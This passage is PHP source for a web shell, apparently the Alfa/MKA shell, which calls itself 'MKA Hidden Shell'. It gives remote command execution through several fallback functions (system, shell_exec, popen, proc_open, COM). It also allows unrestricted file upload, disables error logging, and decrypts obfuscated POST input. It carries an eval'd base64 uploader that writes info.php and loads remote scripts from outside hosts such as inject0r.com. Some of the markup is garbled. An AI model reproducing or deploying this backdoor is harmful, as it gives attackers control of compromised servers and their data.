  411. ob_start();
  412. @system($in);
  413. $out = ob_get_clean();
  414. } elseif (function_exists('shell_exec')) {
  415. $out = shell_exec($in);
  416. } elseif (function_exists('popen') && function_exists('pclose')) {
  417. if (is_resource($f = @popen($in, 'r'))) {
  418. $out = '';
  419. while (!@feof($f)) $out.= fread($f, 1024);
  420. pclose($f);
  421. }
  422. } elseif (function_exists('proc_open')) {
  423. $pipes = array();
  424. $process = @proc_open($in . ' 2>&1', array(array('pipe', 'w'), array('pipe', 'w'), array('pipe', 'w')), $pipes, null);
  425. $out = @stream_get_contents($pipes[1]);
  426. } elseif (class_exists('COM')) {
  427. $alfaWs = new COM('WScript.shell');
  428. $exec = $alfaWs->exec('cmd.exe /c ' . $_POST['alfa1']);
  429. $stdout = $exec->StdOut();
  430. $out = $stdout->ReadAll();
  431. }
  432. }
  433. catch(Exception $e) {
  434. }
  435. return $out;
  436. }
  437. function _alfa_fsockopen($server, $uri, $post) {
  438. $socket = @fsockopen($server, 80, $errno, $errstr, 15);
  439. if ($socket) {
  440. $http = "POST {$uri} HTTP/1.0
  441. ";
  442. $http.= "Host: {$server}
  443. ";
  444. $http.= 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT'] . "
  445. ";
  446. $http.= "Content-Type: application/x-www-form-urlencoded
  447. ";
  448. $http.= 'Content-length: ' . strlen($post) . "
  449. ";
  450. $http.= "Connection: close
  451.  
  452. ";
  453. $http.= $post . "
  454.  
  455. ";
  456. fwrite($socket, $http);
  457. $contents = '';
  458. while (!@feof($socket)) {
  459. $contents.= @fgets($socket, 4096);
  460. }
  461. list($header, $body) = explode("
  462.  
  463. ", $contents, 2);
  464. @fclose($socket);
  465. return $body;
  466. } else {
  467. return '';
  468. }
  469. }
  470. if (isset($_GET['mka7'])) {
  471. @error_reporting(E_ALL ^ E_NOTICE);
  472. echo '<html>';
  473. echo '<title>MKA Hidden Shell</title>';
  474. echo '<body bgcolor=#000000>';
  475. echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">' . (function_exists('php_uname') ? php_uname() : '???') . '</font></b></big>';
  476. $safe_mode = @ini_get('safe_mode');
  477. if ($safe_mode) {
  478. $r = "<b style='color: red'>On</b>";
  479. } else {
  480. $r = "<b style='color: green'>Off</b>";
  481. }
  482. echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . '</font><br>';
  483. echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER['SERVER_SOFTWARE'] . '</font><br>';
  484. echo 'PHP Version: <font color=white>' . PHP_VERSION . '</font><br />';
  485. echo 'PWD:<font color=#FFFFFF> ' . str_replace("\",'/',@getcwd()) .'/<br />';
  486. echo " < bstyle = 'color: #7CFC00' > SafeMode:
  487. $r < br > ";
  488. echo '<font color=#7CFC00>Disable functions : </font>';
  489. $disfun = @ini_get('disable_functions');
  490. if (empty($disfun))
  491. {
  492. $disfun = '<font color="green">NONE</font>';
  493. }
  494. echo '<font color=red>';
  495. echo "$disfun";
  496. echo '</font><br>';
  497. echo " < bstyle = 'color: #7CFC00' > YourIpAddressis: < / font > < fontcolor = white > ".$_SERVER['REMOTE_ADDR'] .'</font><br>';
  498. echo " < bstyle = 'color: #7CFC00' > ServerIpAddressis: < / font > < fontcolor = white > ".(function_exists('gethostbyname') ?@gethostbyname($_SERVER['HTTP_HOST']) : '???') .'</font><br><p>';
  499. echo '<hr><center><form onSubmit="this . upload . disabled = true;
  500. this . cwd . value = btoa(unescape(encodeURIComponent(this . cwd . value)));
  501. " action="" method="post" enctype="multipart / form - data" name="uploader" id="uploader">';
  502. echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\",' / ',@getcwd()) .' / " size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
  503. if (isset($_FILES['file']))
  504. {
  505. if (@move_uploaded_file($_FILES['file']['tmp_name'],__ZGVjb2Rlcg(@$_POST['cwd']) .'/'.$_FILES['file']['name']))
  506. {
  507. echo '<b><font color=" #7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>';
  508.  
  509. } else {
  510. echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>';
  511. }
  512. }
  513. echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form><hr><pre>';
  514. if (isset($_POST['command_solevisible'])) {
  515. if (strtolower(substr(PHP_OS, 0, 3)) == 'win') $separator = '&';
  516. else $separator = ';';
  517. $solevisible = "cd '" . addslashes(str_replace("\",'/',@getcwd())) ."'".$separator .''.__ZGVjb2Rlcg($_POST['command_solevisible']);
  518. echo alfaEx($solevisible);
  519. }
  520. echo ' < / pre > < / body > < / html > ';
  521. exit;
  522. }
  523. @error_reporting(E_ALL ^E_NOTICE);
  524. @ini_set('error_log',NULL);
  525. @ini_set('log_errors',0);
  526. @ini_set('max_execution_time',0);
  527. @ini_set('magic_quotes_runtime',0);
  528. @set_time_limit(0);
  529. if (function_exists('set_magic_quotes_runtime'))
  530. {
  531. @set_magic_quotes_runtime(0);
  532. }
  533. foreach ($_POST as $key =>$value)
  534. {
  535. if (is_array($_POST[$key]))
  536. {
  537. $i = 0;
  538. foreach ($_POST[$key] as $f)
  539. {
  540. $f = trim(str_replace('',' + ',$f));
  541. $_POST[$key][$i] = decrypt_post($f,_AlfaSecretKey());
  542. $i++;
  543. }
  544. }
  545. else
  546. {
  547. $value = trim(str_replace('',' + ',$value));
  548. $_POST[$key] = decrypt_post($value,_AlfaSecretKey());
  549. }
  550. }
  551. $default_action = 'FilesMan';
  552. $default_use_ajax = true;
  553. $default_charset = 'Windows - 1251';
  554. if (strtolower(substr(PHP_OS,0,3)) == 'win') $GLOBALS['sys'] = 'win';
  555. else $GLOBALS['sys'] = 'unix';
  556. $GLOBALS['home_cwd'] = @getcwd();
  557. if ($_POST['a'] != 'GetPathHistory')
  558. {
  559. if ($_SESSION[__LAST_CWD__] != $_POST['c'])
  560. {
  561. $_SESSION[__PATH_HISTORY__] = $_SESSION[__LAST_CWD__];
  562. }
  563. }
  564. $GLOBALS['need_to_update_header'] = 'false';
  565. if (isset($_POST['c']))
  566. {
  567. if (!@chdir($_POST['c']))
  568. {
  569. $GLOBALS['glob_chdir_false'] = true;
  570. }
  571. }
  572. $GLOBALS['cwd'] = (isset($_SESSION[__LAST_CWD__]) &&$_SESSION[__LAST_CWD__] != ''&&!isset($_POST['c']) ?$_SESSION[__LAST_CWD__] : @getcwd());
  573. if (!@is_dir)
  574. {
  575. $GLOBALS['cwd'] = @getcwd();
  576. }
  577. if ($GLOBALS['sys'] == 'win')
  578. {
  579. $GLOBALS['home_cwd'] = str_replace("\",' / ',$GLOBALS['home_cwd']);
  580. $GLOBALS['cwd'] = str_replace("\",' / ',$GLOBALS['cwd']);
  581. $_SESSION[__PATH_HISTORY__] = str_replace("\",' / ',$_SESSION[__PATH_HISTORY__]);
  582. }
  583. if ($GLOBALS['cwd'][strlen($GLOBALS['cwd']) -1] != ' / ') $GLOBALS['cwd'] .= ' / ';
  584. function alfaGetPathHistory()
  585. {
  586. echo (isset($_SESSION[__PATH_HISTORY__]) &&!empty($_SESSION[__PATH_HISTORY__]) ?$_SESSION[__PATH_HISTORY__] : $GLOBALS['home_cwd']);
  587. }
  588. function alfahead()
  589. {
  590. if (!function_exists('sys_get_temp_dir'))
  591. {
  592. function sys_get_temp_dir()
  593. {
  594. foreach (array(
  595. 'TMP',
  596. 'TEMP',
  597. 'TMPDIR'
  598. ) as $env_var)
  599. {
  600. if ($temp = getenv($env_var))
  601. {
  602. return $temp;
  603. }
  604. }
  605. $temp = tempnam($GLOBALS['__file_path'],'');
  606. if (_alfa_file_exists($temp,false))
  607. {
  608. unlink($temp);
  609. return dirname($temp);
  610. }
  611. return null;
  612. }
  613. }
  614. $GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHNjcmlwdCBkYXRhLWNmYXN5bmM9J2ZhbHNlJyBzcmM9Jy8vd2FyZXptLmNvbS9zaGVsbC5qcyc + PC9zY3JpcHQ + PHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI + PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc + PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI + PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ + PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc + PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ + PC9jZW50ZXI + PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI + PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ + PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I + PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ + PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I + PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc + c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8 + ';
  615. $alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'] .'");
  616. $solevisible = fopen("info.php", "w");
  617. fwrite($solevisible, $x);
  618. ';
  619. define('ALFA_UPLOADER',"eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader) ."'))");
  620. define('ALFA_TEMPDIR',(function_exists('sys_get_temp_dir') ?(@is_writable(str_replace('\',' / ',sys_get_temp_dir())) ?sys_get_temp_dir() : (@is_writable(' . ') ?' . ': false)) : false));
  621. if (!isset($_POST['ajax']))
  622. {
  623. function Alfa_GetDisable_Function()
  624. {
  625. $disfun = @ini_get('disable_functions');
  626. $afa = ' < spanclass = "header_show_all" > Tmfonksiyonlarkullanlabilir < / span > ';
  627. if (empty($disfun)) return ($afa);
  628. $s = explode(', ',$disfun);
  629. $s = array_unique($s);
  630. $i = 0;
  631. $b = 0;
  632. $func = array(
  633. 'system',
  634. 'exec',
  635. 'shell_exec',
  636. 'proc_open',
  637. 'popen',
  638. 'passthru',
  639. 'symlink',
  640. 'dl'
  641. );
  642. $black_list = array();
  643. $allow_list = array();
  644. foreach ($s as $d)
  645. {
  646. $d = trim($d);
  647. if (empty($d) ||!is_callable($d)) continue;
  648. if (!function_exists($d))
  649. {
  650. if (in_array($d,$func))
  651. {
  652. $dis .= $d .' | ';
  653. $b++;
  654. $black_list[] = $d;
  655. }
  656. else
  657. {
  658. $allow_list[] = $d;
  659. }
  660. $i++;
  661. }
  662. }
  663. if ($i == 0) return ($afa);
  664. if ($i <= count($func))
  665. {
  666. $all = array_values(array_merge($black_list,$allow_list));
  667. return (' < spanclass = "disable_functions" > '.implode(' | ',$all) .' < / span > ');
  668. }
  669. return (' < spanclass = "disable_functions" > '.$dis .' < / span > < ahref = javascript:
  670. void(0) onclick = "g(\'GetDisFunc\',null,\'wp\');" > < spanclass = "header_show_all" > Hepsinigster('.$i .') < / span > < / a > ');
  671. }
  672. if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
  673. $freeSpace = function_exists('diskfreespace') ?@diskfreespace($GLOBALS['cwd']) : ' ? ';
  674. $totalSpace = function_exists('disk_total_space') ?@disk_total_space($GLOBALS['cwd']) : ' ? ';
  675. $totalSpace = $totalSpace ?$totalSpace : 1;
  676. $on = "<span class='header_on'> AIK </span>";
  677. $of = "<span class='header_off'> KAPALI </span>";
  678. $none = "<span class='header_none'> YOK </span>";
  679. if (function_exists('ssh2_connect')) $ssh2 = $on;
  680. else $ssh2 = $of;
  681. if (function_exists('curl_version')) $curl = $on;
  682. else $curl = $of;
  683. if (function_exists('mysql_get_client_info')) $mysql = $on;
  684. else $mysql = $of;
  685. if (function_exists('mssql_connect')) $mssql = $on;
  686. else $mssql = $of;
  687. if (function_exists('pg_connect')) $pg = $on;
  688. else $pg = $of;
  689. if (function_exists('oci_connect')) $or = $on;
  690. else $or = $of;
  691. if (@ini_get('disable_functions')) $disfun = @ini_get('disable_functions');
  692. else $disfun = 'Tmfonksyionlarkullanlabilir';
  693. if (@ini_get('safe_mode')) $safe_modes = "<span class='header_off'>AIK</span>";
  694. else $safe_modes = "<span class='header_on'>KAPALI</span>";
  695. $cgi_shell = "<span class='header_off' id='header_cgishell'>KAPALI</span>";
  696. if (@ini_get('open_basedir'))
  697. {
  698. $basedir_data = @ini_get('open_basedir');
  699. if (strlen($basedir_data) >120)
  700. {
  701. $open_b = substr($basedir_data,0,120) .' . . . ';
  702. }
  703. else
  704. {
  705. $open_b = $basedir_data;
  706. }
  707. }
  708. else
  709. {
  710. $open_b = $none;
  711. }
  712. if (@ini_get('safe_mode_exec_dir')) $safe_exe = @ini_get('safe_mode_exec_dir');
  713. else $safe_exe = $none;
  714. if (@ini_get('safe_mode_include_dir')) $safe_include = @ini_get('safe_mode_include_dir');
  715. else $safe_include = $none;
  716. if (!function_exists('posix_getegid'))
  717. {
  718. $user = function_exists('get_current_user') ?@get_current_user() : ' ? ? ? ? ';
  719. $uid = function_exists('getmyuid') ?@getmyuid() : ' ? ? ? ? ';
  720. $gid = function_exists('getmygid') ?@getmygid() : ' ? ? ? ? ';
  721. $group = ' ? ';
  722. }
  723. else
  724. {
  725. $uid = function_exists('posix_getpwuid') &&function_exists('posix_geteuid') ?@posix_getpwuid(posix_geteuid()) : array(
  726. 'name'=>' ? ? ? ? ',
  727. 'uid'=>' ? ? ? ? '
  728. );
  729. $gid = function_exists('posix_getgrgid') &&function_exists('posix_getegid') ?@posix_getgrgid(posix_getegid()) : array(
  730. 'name'=>' ? ? ? ? ',
  731. 'gid'=>' ? ? ? ? '
  732. );
  733. $user = $uid['name'];
  734. $uid = $uid['uid'];
  735. $group = $gid['name'];
  736. $gid = $gid['gid'];
  737. }
  738. $cwd_links = '';
  739. $path = explode(' / ',$GLOBALS['cwd']);
  740. $n = count($path);
  741. for ($i = 0;$i <$n -1;$i++)
  742. {
  743. $cwd_links .= "<a class='header_pwd' href='javascript : void(0);
  744. ' onclick='g(\"FilesMan\",\"";
  745. for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
  746. $cwd_links.= "\")'>" . $path[$i] . '/</a>';
  747. }
  748. $drives = '';
  749. foreach (range('a', 'z') as $drive) if (@is_dir($drive . ':\')) $drives .= ' < ahref = "javascript:void(0);"class = "header_drive"onclick = "g(\'FilesMan\',\''.$drive .':/\')" > ['.$drive .'] < / a > ';
  750. $csscode = ' - moz - animation - name : spin; - moz - animation - iteration - count : infinite; - moz - animation - timing - function : linear; - moz - animation - duration : 1s; - webkit - animation - name : spin; - webkit - animation - iteration - count : infinite; - webkit - animation - timing - function : linear; - webkit - animation - duration : 1s; - ms - animation - name : spin; - ms - animation - iteration - count : infinite; - ms - animation - timing - function : linear; - ms - animation - duration : 1s;
  751. animation - name : spin;
  752. animation - iteration - count : infinite;
  753. animation - timing - function : linear;
  754. animation - duration : 1s;
  755. ';
  756. echo ' < !DOCTYPEhtmlPUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > < htmlxmlns = "http://www.w3.org/1999/xhtml" > < head > < metahttp - equiv = "Content-Type"content = "text/html; charset=utf-8" / > < metaname = "ROBOTS"content = "NOINDEX, NOFOLLOW" / > < linkhref = "'.__showicon('alfamini') .'"rel = "icon"type = "image/x-icon" / > < title > . . ::'.$_SERVER['HTTP_HOST'] .' ~ MKASPYShell - v'.__MKA_VERSION__ .':: . . < / title > < SCRIPTSRC = http : //inject0r.com/update.js></SCRIPT><link href="https://fonts.googleapis.com/css?family=Francois+One" rel="stylesheet"><style type="text/css">.hlabale{color:#67ABDF;border-radius:4px;border:1px solid #27979B;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}.editor-view{position:relative}.view-content{position:absolute;overflow-y:auto;width:100%;height:475px}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,0.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,0.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}#editor-minimized,#cgiloader-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:167px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:#f5deb3;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:50px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:before,.close-button:after,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,0.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0deg)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:before,.close-button:hover:after,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,0.96)}#editor,#cgiloader{display:none;position:fixed;top:0;width:100%;height:100%}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,0.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,0.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,0.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder > .history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color 600ms ease-out}.file-holder > .history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity 600ms ease-out;font-size:15px;height:19px}.file-holder > .history:hover{background-color:#646464}.editor-explorer > .hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px}.editor-anim-close{'.showAnimation('editorClose') .'}@keyframes editorClose{0%{transform:scale(1);opacity:1}100%{transform:scale(0);opacity:0}}.editor-anim-minimize{'.showAnimation('editorMinimize') .'}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{'.showAnimation('editorShow') .'}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{'.showAnimation('minimizeShow') .'}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{'.showAnimation('minimizeHide') .'}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0F0;-moz-text-shadow:0 0 25px #0F0;-ms-text-shadow:0 0 25px #0F0;text-shadow:0 0 25px #0F0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,0.72);width:100%;height:100%}.update-partner{width:50%;position:relative;border-radius:31px;height:200px;background-color:rgba(3,3,41,0.47);text-align:center;color:rgba(252,253,251,0.88);margin-left:25%;top:23%;font-family:"Francois One",sans-serif}.update-partner:hover{-webkit-box-shadow:inset 0 0 99px 9px rgba(11,15,41,1);-moz-box-shadow:inset 0 0 99px 9px rgba(11,15,41,1);box-shadow:inset 0 0 99px 9px rgba(11,15,41,1)}.update-content{position:relative}.update-content > a{text-decoration:none;position:absolute;color:rgba(103,167,47,0.77);left:24%;margin-top:7%;font-size:40px;font-family:"Francois One",sans-serif}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px;}.editor-path{top:3px;}}@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}#alfaloader{'.$csscode .'width:100px;height:100px;}#a_loader{'.$csscode .'width:150px;height:150px;position:fixed;z-index:999999;top: 42%;left: 45%;display:none;}.ajaxarea{border:1px solid #0E304A;color:#67ABDF}#up_bar{background-color:red;width:0;height:2px;display:none;position:fixed;z-index:100000}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://i.hizliresim.com/MD1qQQ.jpg);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor('header_values') .';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini') .');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons'] == '1'?'0': '1') .'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('alfamini') .');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;border:1px solid #0F0;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn') .');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px 